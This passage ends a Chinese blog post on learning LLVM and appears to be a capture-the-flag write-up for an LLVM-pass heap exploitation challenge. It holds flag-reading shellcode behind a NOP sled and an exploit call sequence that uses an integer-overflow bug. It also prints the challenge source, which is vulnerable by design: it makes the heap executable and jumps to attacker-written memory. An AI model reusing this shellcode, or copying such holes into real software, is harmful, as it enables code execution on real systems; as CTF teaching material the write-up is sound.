90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xba\x66\x6c\x61\x67\x52\x48\x89\xe7\x31\xf6\x48\x31\xc0\xb0\x02\x0f\x05\x89\xc7\x48\x89\xe6\x31\xc0\x0f\x05\x66\x83\xf7\x02\x89\xf8\x0f\x05";
void start()
{
sell(0);
show();
buy(-0x15000);
show();
sell(1);
show();
buy(0x1000);
show();
edit(0,buf);
locate();
}

4.源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#include "llvm/IR/PassManager.h"
#include "llvm/Passes/PassBuilder.h"
#include "llvm/Passes/PassPlugin.h"
#include "llvm/Support/raw_ostream.h"
#include <stdlib.h>
#include <iostream>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <stdio.h>
#define PGSIZE 4096
#define PGROUNDDOWN(a) (((a)) & ~(PGSIZE-1))
void *table[10];
static int chunk_size[10]={0,0,0,0,0,0,0,0,0,0};
static void *treasuremap=0;
int init_done=0;
int i = 0;
static int money = 0;
using namespace llvm;

void init(){
int i=0;
srand(time(NULL));
while(i<10){
table[i] = malloc(0x70);
chunk_size[i] = 0x70;
i++;
}
treasuremap = table[0];
int flag=0;
void* heap_addr = (void*)((unsigned long)table[0] & 0xfffffffffffff000);
flag = mprotect(heap_addr,0x8000,PROT_EXEC | PROT_READ | PROT_WRITE);
//errs() << "modify address : " << heap_addr << '\n';
//errs() << "modify flag : " << flag << '\n';
//errs() << "heapbase : " << table[0] << '\n';
}
void buried(){
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
//close(1);
//close(2);
//errs() << "treasuremap : " << treasuremap << '\n';
((*(void(*) ()) (treasuremap)))(); //edit -> shellcode
}
namespace {
struct optimizer : public PassInfoMixin<optimizer> {
PreservedAnalyses run(Function &F, FunctionAnalysisManager &FAM) {
if(!init_done){
init();
init_done = 1;
}
std::cout << "Legend has it that there is a place where the treasure is buried." << std::endl;
std::string VulnName = F.getName().str();
std::cout << "You're a young business man and you want to : " << VulnName << std::endl;
if(VulnName == "start"){
SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end();
for(SymbolTableList<BasicBlock>::const_iterator bbIter = F.begin(); bbIter != bbEnd; ++bbIter){
SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin();
SymbolTableList<Instruction>::const_iterator instEnd = bbIter->end();
for(; instIter != instEnd; ++instIter){
if (instIter->getOpcode() == 56) {
if(const CallInst* call_inst = dyn_cast<CallInst>(instIter)) {
std::string FunctionName = call_inst->getCalledFunction()->getName().str();
if(FunctionName == "sell"){
if(instIter->getNumOperands()==2){
int idx1 = dyn_cast<ConstantInt>(call_inst->getArgOperand(0))->getZExtValue();
if(idx1>=0 && idx1<10 && (table[idx1])){
free(table[idx1]);
table[idx1] = 0;
money += chunk_size[idx1];
chunk_size[idx1] = 0;
std::cout << "selled a land" << std::endl;
}
else{
std::cout << "failed to sell" << std::endl;
}
}
}
else if(FunctionName == "buy"){
if(instIter->getNumOperands()==2){
unsigned int sz = dyn_cast<ConstantInt>(call_inst->getArgOperand(0))->getZExtValue();
i=0;
if((int)sz<=money){ //int overflow
while(i>=0 && i<=9){
if(!*(&(table[0])+i)){
*(&(table[0])+i) = malloc(sz);
std::cout << "buy a land at : "<< *(&(table[0])+i) << std::endl;
//errs() << "buy a land"<<'\n';
chunk_size[i] = sz;
money -= sz;
break;
}
else{
i++;
}
}
}
}
}
else if(FunctionName == "edit"){
if(instIter->getNumOperands()==3){
int idx2 = dyn_cast<ConstantInt>(call_inst->getArgOperand(0))->getZExtValue();
if(idx2>=0 && idx2<=9){
Value* a = call_inst->getArgOperand(1);
auto a2 = call_inst->arg_begin()->get();
auto a3 = a->getType();
auto a4 = dyn_cast<GlobalVariable>(a);
if(a4){
auto a5 = dyn_cast<ConstantDataArray>(a4->getInitializer());
if(a5){
auto data = a5->getAsCString();
errs() << "edit a land"<<'\n';
i=0;
while(i<data.size() && i<=chunk_size[idx2]-8){
*((uint8_t*)table[idx2]+i) = data[i];

if(*((uint8_t*)table[idx2]+i)==0x0f){
i++;
*((uint8_t*)table[idx2]+i) = 0x05;
}

//errs() << *((uint8_t*)table[idx2]+i);

i++;
}
//errs() << " at " << table[idx2] <<'\n';
}
}
}
}
}
else if(FunctionName == "locate"){
if(instIter->getNumOperands()==1){
std::cout << "locating treasure!" << std::endl;
treasuremap = (uint8_t*)treasuremap + rand()%0x4000 + 0x5000;
buried();
exit(0);
}
}
else if(FunctionName == "show"){
std::cout << "Your money now : " << money << std::endl;
}
}
}
}
}
}
return PreservedAnalyses::all();
}
};
}
extern "C" ::llvm::PassPluginLibraryInfo LLVM_ATTRIBUTE_WEAK
llvmGetPassPluginInfo() {
return {
LLVM_PLUGIN_API_VERSION, "optimizer", "v0.1",
[](PassBuilder &PB) {
PB.registerPipelineParsingCallback(
[](StringRef Name, FunctionPassManager &FPM,
ArrayRef<PassBuilder::PipelineElement>) {
if(Name == "optimizer"){
FPM.addPass(optimizer());
return true;
}
return false;
}
);
}
};
}

reference

LLVM Language Reference Manual

https://llvm.org/(官网的Documentation很齐全)

[csdn]clang&llvm简介

LLVM从小白到放弃(一)- LLVM概述与LLVM环境搭建

[先知社区]初探LLVM&clang&pass

[简书]深入浅出让你理解什么是LLVM

[看雪]LLVM的IR指令详解

[理论基础]南京大学软件分析课程

《LLVM编译器实战教程》(Getting Started with LLVM Core Libraries)

[看雪]LLVM PASS PWN 总结


LLVM学习记录
https://lkliki.github.io/2023/10/03/LLVM学习记录/
作者
0P1N
发布于
2023年10月3日
许可协议